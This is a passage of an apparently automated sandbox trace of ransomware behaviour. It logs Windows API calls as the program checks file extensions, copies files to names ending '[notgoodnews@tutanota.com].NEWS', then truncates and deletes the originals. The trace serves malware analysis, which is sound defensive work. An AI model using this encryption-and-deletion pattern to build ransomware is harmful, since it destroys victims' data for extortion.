(lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".zip") returned 4 [0064.787] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString=".rar") returned 4 [0064.787] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString=".bz2") returned 4 [0064.787] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.787] lstrlenW (lpString=".7z") returned 3 [0064.787] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".dbf") returned 4 [0064.787] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".1cd") returned 4 [0064.787] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".jpg") returned 4 [0064.787] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".doc") returned 4 [0064.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString=".docx") returned 5 [0064.787] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.787] lstrlenW (lpString=".pdf") returned 4 [0064.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString=".xls") returned 4 [0064.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString=".xlsx") returned 5 [0064.787] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.787] lstrlenW (lpString=".ppt") returned 4 [0064.787] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.787] lstrlenW (lpString=".zip") returned 4 [0064.788] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.788] lstrlenW (lpString=".rar") returned 4 [0064.788] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.788] lstrlenW (lpString=".bz2") returned 4 [0064.788] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.788] lstrlenW (lpString=".7z") returned 3 [0064.788] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.788] lstrlenW (lpString=".dbf") returned 4 [0064.788] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.788] lstrlenW (lpString=".1cd") returned 4 [0064.788] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0064.788] lstrlenW (lpString=".jpg") returned 4 [0064.788] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.788] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0064.788] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0064.788] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.788] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=88533) returned 1 [0064.788] CloseHandle (hObject=0x350) returned 1 [0064.789] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0064.789] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.789] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0064.789] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.789] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.789] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0064.789] GetLastError () returned 0x0 [0064.789] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0065.195] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0065.198] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.200] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf2, lpOverlapped=0x0) returned 1 [0065.200] SetEndOfFile (hFile=0x358) returned 1 [0065.200] CloseHandle (hObject=0x358) returned 1 [0065.203] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.203] SetEndOfFile (hFile=0x350) returned 1 [0065.204] CloseHandle (hObject=0x350) returned 1 [0065.204] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.204] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString=".doc") returned 4 [0065.205] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.205] lstrlenW (lpString=".docx") returned 5 [0065.205] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0065.205] lstrlenW (lpString=".pdf") returned 4 [0065.205] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString=".xls") returned 4 [0065.205] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString=".xlsx") returned 5 [0065.205] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0065.205] lstrlenW (lpString=".ppt") returned 4 [0065.205] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString=".zip") returned 4 [0065.205] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString=".rar") returned 4 [0065.205] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString=".bz2") returned 4 [0065.205] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.205] lstrlenW (lpString=".7z") returned 3 [0065.205] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString=".dbf") returned 4 [0065.205] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString=".1cd") returned 4 [0065.205] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString=".jpg") returned 4 [0065.205] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.206] lstrlenW (lpString=".doc") returned 4 [0065.206] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.206] lstrlenW (lpString=".docx") returned 5 [0065.206] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0065.206] lstrlenW (lpString=".pdf") returned 4 [0065.206] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.206] lstrlenW (lpString=".xls") returned 4 [0065.206] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.206] lstrlenW (lpString=".xlsx") returned 5 [0065.206] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0065.206] lstrlenW (lpString=".ppt") returned 4 [0065.206] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.206] lstrlenW (lpString=".zip") returned 4 [0065.206] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.206] lstrlenW (lpString=".rar") returned 4 [0065.206] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.206] lstrlenW (lpString=".bz2") returned 4 [0065.206] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.206] lstrlenW (lpString=".7z") returned 3 [0065.206] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.206] lstrlenW (lpString=".dbf") returned 4 [0065.206] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.206] lstrlenW (lpString=".1cd") returned 4 [0065.206] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0065.206] lstrlenW (lpString=".jpg") returned 4 [0065.206] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.206] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.207] lstrlenW (lpString="Save.ico") returned 8 [0065.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.207] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1150) returned 1 [0065.208] CloseHandle (hObject=0x350) returned 1 [0065.208] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 0x80 [0065.208] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.208] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.208] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0065.208] GetLastError () returned 0x0 [0065.208] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x47e, lpOverlapped=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x480, lpOverlapped=0x0) returned 1 [0065.211] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.211] WriteFile (in: hFile=0x358, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1 [0065.211] SetEndOfFile (hFile=0x358) returned 1 [0065.211] CloseHandle (hObject=0x358) returned 1 [0065.212] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.212] SetEndOfFile (hFile=0x350) returned 1 [0065.213] CloseHandle (hObject=0x350) returned 1 [0065.213] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.213] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Save.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\save.ico")) returned 1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString=".doc") returned 4 [0065.214] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.214] lstrlenW (lpString=".docx") returned 5 [0065.214] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0065.214] lstrlenW (lpString=".pdf") returned 4 [0065.214] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString=".xls") returned 4 [0065.214] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString=".xlsx") returned 5 [0065.214] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0065.214] lstrlenW (lpString=".ppt") returned 4 [0065.214] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString=".zip") returned 4 [0065.214] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString=".rar") returned 4 [0065.214] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString=".bz2") returned 4 [0065.214] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.214] lstrlenW (lpString=".7z") returned 3 [0065.214] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString=".dbf") returned 4 [0065.214] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString=".1cd") returned 4 [0065.214] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.214] lstrlenW (lpString=".jpg") returned 4 [0065.214] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString=".doc") returned 4 [0065.215] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.215] lstrlenW (lpString=".docx") returned 5 [0065.215] lstrcmpiW (lpString1=".docx", lpString2="e.ico") returned -1 [0065.215] lstrlenW (lpString=".pdf") returned 4 [0065.215] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.215] lstrlenW (lpString=".xls") returned 4 [0065.215] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.215] lstrlenW (lpString=".xlsx") returned 5 [0065.215] lstrcmpiW (lpString1=".xlsx", lpString2="e.ico") returned -1 [0065.215] lstrlenW (lpString=".ppt") returned 4 [0065.215] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString=".zip") returned 4 [0065.215] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.215] lstrlenW (lpString=".rar") returned 4 [0065.215] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.215] lstrlenW (lpString=".bz2") returned 4 [0065.215] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.215] lstrlenW (lpString=".7z") returned 3 [0065.215] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString=".dbf") returned 4 [0065.215] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString=".1cd") returned 4 [0065.215] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Save.ico") returned 39 [0065.215] lstrlenW (lpString=".jpg") returned 4 [0065.215] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.215] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.216] lstrlenW (lpString="Setup.ico") returned 9 [0065.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.216] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=36710) returned 1 [0065.216] CloseHandle (hObject=0x350) returned 1 [0065.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80 [0065.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0065.216] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.216] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.218] GetLastError () returned 0x0 [0065.218] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x8f66, lpOverlapped=0x0) returned 1 [0065.222] WriteFile (in: hFile=0x33c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x8f70, lpOverlapped=0x0) returned 1 [0065.223] ReadFile (in: hFile=0x350, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.223] WriteFile (in: hFile=0x33c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe6, lpOverlapped=0x0) returned 1 [0065.224] SetEndOfFile (hFile=0x33c) returned 1 [0065.224] CloseHandle (hObject=0x33c) returned 1 [0065.226] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.226] SetEndOfFile (hFile=0x350) returned 1 [0065.227] CloseHandle (hObject=0x350) returned 1 [0065.227] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.227] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1 [0065.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.227] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.227] lstrlenW (lpString=".doc") returned 4 [0065.227] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.227] lstrlenW (lpString=".docx") returned 5 [0065.227] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0065.227] lstrlenW (lpString=".pdf") returned 4 [0065.227] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.227] lstrlenW (lpString=".xls") returned 4 [0065.227] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString=".xlsx") returned 5 [0065.228] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0065.228] lstrlenW (lpString=".ppt") returned 4 [0065.228] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString=".zip") returned 4 [0065.228] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString=".rar") returned 4 [0065.228] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString=".bz2") returned 4 [0065.228] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.228] lstrlenW (lpString=".7z") returned 3 [0065.228] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString=".dbf") returned 4 [0065.228] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString=".1cd") returned 4 [0065.228] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString=".jpg") returned 4 [0065.228] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.228] lstrlenW (lpString=".doc") returned 4 [0065.228] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0065.228] lstrlenW (lpString=".docx") returned 5 [0065.228] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0065.228] lstrlenW (lpString=".pdf") returned 4 [0065.228] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString=".xls") returned 4 [0065.228] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0065.228] lstrlenW (lpString=".xlsx") returned 5 [0065.229] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0065.229] lstrlenW (lpString=".ppt") returned 4 [0065.229] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0065.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.229] lstrlenW (lpString=".zip") returned 4 [0065.229] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0065.229] lstrlenW (lpString=".rar") returned 4 [0065.229] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0065.229] lstrlenW (lpString=".bz2") returned 4 [0065.229] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0065.229] lstrlenW (lpString=".7z") returned 3 [0065.229] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0065.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.229] lstrlenW (lpString=".dbf") returned 4 [0065.229] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0065.229] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0065.229] 